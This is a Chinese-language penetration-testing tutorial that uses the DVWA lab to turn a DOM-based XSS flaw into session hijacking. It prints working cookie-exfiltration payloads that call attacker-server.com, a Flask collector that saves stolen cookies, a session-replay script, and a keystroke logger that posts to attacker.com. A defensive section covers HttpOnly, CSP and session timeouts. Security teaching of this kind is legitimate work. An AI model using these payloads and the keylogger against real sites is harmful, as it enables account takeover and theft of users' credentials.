从XSS漏洞到会话劫持：DVWA实战中的完整攻击链剖析
在网络安全领域，跨站脚本攻击（XSS）常被初学者视为"弹窗游戏"，但它的实际危害远不止于此。当攻击者将XSS与其他技术结合，就能构建出一条完整的攻击链，从漏洞发现到权限获取一气呵成。本文将以DVWA（Damn Vulnerable Web Application）为实验环境，展示如何将一个简单的DOM型XSS漏洞转化为实际的会话控制权。
1. 漏洞定位与利用策略优化
DOM型XSS的特殊之处在于，漏洞的触发完全在客户端完成，不经过服务器端处理。在DVWA的XSS（DOM）模块中，典型的测试方式是插入<script>alert(1)</script>这类基础payload。但实战中，我们需要考虑几个关键问题：
- payload的隐蔽性：弹窗虽然直观，但会立即暴露攻击行为
- 利用的持久性：如何确保payload在目标访问时持续生效
- 数据的回传：如何将敏感信息（如Cookie）安全地发送到攻击者控制的服务器
一个优化的攻击payload应该包含以下要素：
<script> var img = new Image(); img.src = 'http://attacker-server.com/collect?data=' + encodeURIComponent(document.cookie); </script>这段代码会悄无声息地将用户的Cookie发送到攻击者指定的服务器，而不会产生任何可见的弹窗。在实际渗透测试中，我们还需要考虑：
- 字符限制：如果输入点有长度限制，可能需要使用更简洁的payload
- 过滤绕过：针对可能的过滤机制，如
<script>标签被过滤时，可以使用<img src=x onerror=...>等替代方案 - 触发条件：确保payload在目标用户正常浏览时能够自动执行
2. 构建攻击基础设施
专业的渗透测试者不会依赖公开的XSS平台，而是搭建自己的命令与控制（C2）服务器。这不仅能提高攻击的成功率，还能更好地控制数据流向。以下是搭建简易C2服务器的关键步骤：
2.1 服务器环境配置
使用Python Flask可以快速搭建一个接收Cookie的服务器：
from flask import Flask, request app = Flask(__name__) @app.route('/collect') def collect(): cookie = request.args.get('data') with open('stolen_cookies.txt', 'a') as f: f.write(cookie + '\n') return 'OK' if __name__ == '__main__': app.run(host='0.0.0.0', port=80)注意：实际环境中应使用HTTPS加密通信，防止数据被中间人窃取
2.2 会话保持机制
Cookie的有效期通常有限，特别是会话Cookie在浏览器关闭后就会失效。因此，攻击payload需要包含以下功能：
- 实时回传：一旦执行立即发送数据
- 定期检查：设置定时器定期检查并发送当前Cookie
- 心跳机制：确认受害者在线状态，维持会话活跃
一个增强版的payload示例：
<script> function exfiltrate() { var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://attacker-server.com/collect', true); xhr.setRequestHeader('Content-Type', 'application/json'); xhr.send(JSON.stringify({ cookie: document.cookie, url: window.location.href, userAgent: navigator.userAgent })); } setInterval(exfiltrate, 60000); // 每分钟发送一次 exfiltrate(); // 立即执行一次 </script>3. 会话劫持的实战技巧
获取Cookie只是第一步，如何利用这些凭证实现真正的权限提升才是关键。以下是几种常见的会话劫持方法：
3.1 浏览器直接修改
最简单的方法是在浏览器开发者工具中直接修改Cookie：
- 打开开发者工具（F12）
- 进入Application → Cookies
- 删除现有Cookie，添加窃取的Cookie键值对
- 刷新页面观察权限变化
3.2 使用专业工具
Burp Suite等专业工具可以更精确地控制HTTP请求：
- 拦截目标请求
- 修改或添加Cookie头部
- 转发请求观察响应
对于DVWA这类简单系统，甚至可以使用浏览器插件如HackBar：
GET /dvwa/vulnerabilities/xss_d/ HTTP/1.1 Host: localhost Cookie: PHPSESSID=stolen_session_id; security=low3.3 自动化脚本
编写简单脚本实现自动登录：
import requests stolen_cookie = "PHPSESSID=abcd1234; security=low" headers = {'Cookie': stolen_cookie} response = requests.get('http://target.com/admin', headers=headers) with open('hijacked_page.html', 'w') as f: f.write(response.text)4. 防御视角的深度思考
理解攻击手段的目的是为了更好地防御。从这次演练中，我们可以总结出几点关键防御策略：
- HttpOnly标志：设置Cookie的HttpOnly属性可防止JavaScript访问
- 内容安全策略(CSP)：通过HTTP头部限制脚本执行来源
- 输入过滤与输出编码：对所有用户输入进行严格验证和转义
- 会话管理：使用短期有效的会话令牌，定期轮换
下表对比了不同防御措施的效果：
| 防御措施 | 实施难度 | 防护效果 | 对用户体验影响 |
|---|---|---|---|
| HttpOnly | 低 | 防止Cookie窃取 | 无 |
| CSP | 中 | 阻止非法脚本执行 | 可能影响部分功能 |
| 输入过滤 | 高 | 阻止大部分XSS | 可能造成合法输入被拒 |
| 会话超时 | 低 | 限制攻击窗口 | 需要用户重新登录 |
在实际开发中，应该采用分层防御策略，而不是依赖单一防护手段。例如，即使攻击者成功注入了XSS payload，通过CSP限制可以阻止其向外部服务器发送数据；即使数据被发送，HttpOnly标志也能保护关键的认证Cookie不被窃取。
5. 攻击链扩展与高级技巧
基础会话劫持只是XSS攻击的起点，成熟的攻击者会进一步扩展攻击链：
- 键盘记录：通过JavaScript监控所有键盘输入
- 钓鱼伪装：动态修改页面内容诱导用户输入敏感信息
- 浏览器漏洞利用：结合XSS触发浏览器0day漏洞获取系统权限
- 横向移动：在内部网络中利用被劫持的会话探测其他系统
一个键盘记录器的简单实现：
document.addEventListener('keydown', function(e) { var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://attacker.com/keylog', true); xhr.send(JSON.stringify({ key: e.key, target: e.target.id, time: new Date().toISOString() })); });这种攻击链的延伸展示了XSS的真正危险性——它不仅是网站的一个漏洞，更可能成为整个系统沦陷的起点。在最近几年的实际攻击案例中，许多大规模数据泄露事件最初的入口点往往就是一个看似简单的XSS漏洞。
在渗透测试实践中，理解这些高级技巧不是为了实施攻击，而是为了更全面地评估系统风险。只有站在攻击者的角度思考，才能设计出真正有效的防御方案。每次测试结束后，我都会详细记录攻击路径和可能的防御点，这种习惯帮助我在后续项目中避免了多个潜在的安全隐患。
